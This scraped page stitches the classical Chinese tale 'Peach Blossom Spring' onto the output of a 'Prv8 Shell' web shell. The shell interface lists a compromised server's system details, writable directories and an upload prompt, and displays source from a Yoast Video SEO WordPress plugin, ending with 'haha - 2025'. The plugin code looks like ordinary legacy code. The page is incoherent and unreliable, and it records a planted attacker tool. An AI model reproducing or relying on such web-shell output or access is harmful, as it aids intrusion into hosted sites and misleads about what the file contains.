晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/wpseo-video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/wpseo-video/video-seo-api.php
<?php
/**
 * @package Yoast\VideoSEO
 */

/**
 * Initializes the Video SEO module on plugins loaded.
 *
 * This way WordPress SEO should have set its constants and loaded its main classes.
 *
 * @since 0.2
 */
function yoast_wpseo_video_seo_init() {
	$bootstrap = new WPSEO_Video_Bootstrap();
	$bootstrap->add_hooks();
}

/**
 * Executes option cleanup actions on activate.
 *
 * There are a couple of things being done on activation:
 * - Cleans up the options to be sure it's set well.
 * - Activates the license, because updating the plugin results in deactivating the license.
 * - Clears the sitemap cache to rebuild the sitemap.
 */
function yoast_wpseo_video_activate() {
	WPSEO_Video_Utils::load_textdomain();

	$bootstrap = new WPSEO_Video_Bootstrap();
	if ( ! $bootstrap->is_yoast_seo_active() ) {
		return;
	}

	$option_instance = WPSEO_Option_Video::get_instance();
	$option_instance->clean();

	yoast_wpseo_video_clear_sitemap_cache();
}

/**
 * Empties sitemap cache on plugin deactivate.
 *
 * @since 3.8.0
 */
function yoast_wpseo_video_deactivate() {
	yoast_wpseo_video_clear_sitemap_cache();
}

/**
 * Clears the sitemap index.
 *
 * @since 3.8.0
 */
function yoast_wpseo_video_clear_sitemap_cache() {
	$bootstrap = new WPSEO_Video_Bootstrap();
	if ( ! $bootstrap->is_yoast_seo_active() ) {
		return;
	}

	$sitemap_instance = new WPSEO_Video_Sitemap();
	$sitemap_basename = $sitemap_instance->video_sitemap_basename();

	WPSEO_Video_Wrappers::invalidate_sitemap( $sitemap_basename );
}

/* ********************* DEPRECATED FUNCTIONS ********************* */

/**
 * Throws an error if WordPress SEO is not installed.
 *
 * @since      0.2
 *
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_wpseo_missing_error() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::get_wpseo_missing_error' );

	if ( current_user_can( 'install_plugins' ) || current_user_can( 'activate_plugins' ) ) {
		$page_slug = 'plugin-install.php';
		if ( is_multisite() === true && is_super_admin() ) {
			$base_url = network_admin_url( $page_slug );
		}
		else {
			$base_url = admin_url( $page_slug );
		}

		$url = add_query_arg(
			array(
				'tab'                 => 'search',
				'type'                => 'term',
				's'                   => 'wordpress+seo',
				'plugin-search-input' => 'Search+Plugins',
			),
			$base_url
		);

		/* translators: %1$s and %3$s expand to anchor tags with a link to the download page for Yoast SEO . %2$s expands to Yoast SEO.*/
		$message = sprintf( esc_html__( 'Please %1$sinstall & activate %2$s%3$s and then enable its XML sitemap functionality to allow the Video SEO module to work.', 'yoast-video-seo' ), '<a href="' . esc_url( $url ) . '">', 'Yoast SEO', '</a>' );
	}
	else {
		/* translators: %1$s expands to Yoast SEO.*/
		$message = sprintf( esc_html__( 'Please ask the (network) admin to install & activate %1$s and then enable its XML sitemap functionality to allow the Video SEO module to work.', 'yoast-video-seo' ), 'Yoast SEO' );
	}

	yoast_wpseo_video_seo_self_deactivate( $message, false );
}

/**
 * Throws an error if WordPress is out of date.
 *
 * @since      1.5.4
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_wordpress_upgrade_error() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::can_activate' );

	$message = esc_html__( 'Please upgrade WordPress to the latest version to allow WordPress and the Video SEO module to work properly.', 'yoast-video-seo' );
	yoast_wpseo_video_seo_self_deactivate( $message );
}

/**
 * Throws an error if WordPress SEO is out of date.
 *
 * @since      1.5.4
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_wpseo_upgrade_error() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::can_activate' );

	/* translators: $1$s expands to Yoast SEO.*/
	$message = sprintf( esc_html__( 'Please upgrade the %1$s plugin to the latest version to allow the Video SEO module to work.', 'yoast-video-seo' ), 'Yoast SEO' );
	yoast_wpseo_video_seo_self_deactivate( $message );
}

/**
 * Throws an error if the PHP SPL extension is disabled (prevent white screens)
 *
 * @since      1.7
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_phpspl_missing_error() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::can_activate' );

	$message = esc_html__( 'The PHP SPL extension seems to be unavailable. Please ask your web host to enable it.', 'yoast-video-seo' );
	yoast_wpseo_video_seo_self_deactivate( $message );
}

/**
 * Initializes the video metadata class
 *
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_wpseo_video_seo_meta_init() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::load_metabox_integration' );

	WPSEO_Meta_Video::init();
}

/**
 * Initializes the main plugin class
 *
 * @deprecated 6.1
 * @codeCoverageIgnore
 */
function yoast_wpseo_video_seo_sitemap_init() {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::load_sitemap_integration' );

	$GLOBALS['wpseo_video_xml'] = new WPSEO_Video_Sitemap();
}

/**
 * Self-deactivates plugin
 *
 * @since      1.7
 * @deprecated 6.1
 * @codeCoverageIgnore
 *
 * @param string $message    Error message.
 * @param bool   $use_prefix Prefix the text with Activation.
 */
function yoast_wpseo_video_seo_self_deactivate( $message, $use_prefix = true ) {
	_deprecated_function( __FUNCTION__, '6.1', 'WPSEO_Video_Bootstrap::show_admin_notices' );

	if ( ! is_admin() ) {
		return;
	}

	if ( defined( 'IFRAME_REQUEST' ) && IFRAME_REQUEST !== false ) {
		return;
	}

	$prefix  = ( $use_prefix ) ? __( 'Activation of Video SEO failed:', 'yoast-video-seo' ) : '';
	$file    = plugin_basename( WPSEO_VIDEO_FILE );
	$ms_hook = ( is_multisite() && is_network_admin() ) ? 'network_' : '';

	$function_code = <<<EO_FUNCTION
echo '<div class="error"><p>{$prefix} {$message}</p></div>';
EO_FUNCTION;

	// PHP 7.2 deprecates `create_function`, this method has been deprecated and can be removed in due time.
	// @codingStandardsIgnoreLine
	add_action( $ms_hook . 'admin_notices', @create_function( '', $function_code ) );

	// Add to recently active plugins list.
	if ( is_network_admin() ) {
		update_site_option( 'recently_activated', ( array( $file => time() ) + (array) get_site_option( 'recently_activated' ) ) );
	}
	else {
		update_option( 'recently_activated', ( array( $file => time() ) + (array) get_option( 'recently_activated' ) ) );
	}

	if ( isset( $_GET['activate'] ) ) {
		unset( $_GET['activate'] );
	}
}

haha - 2025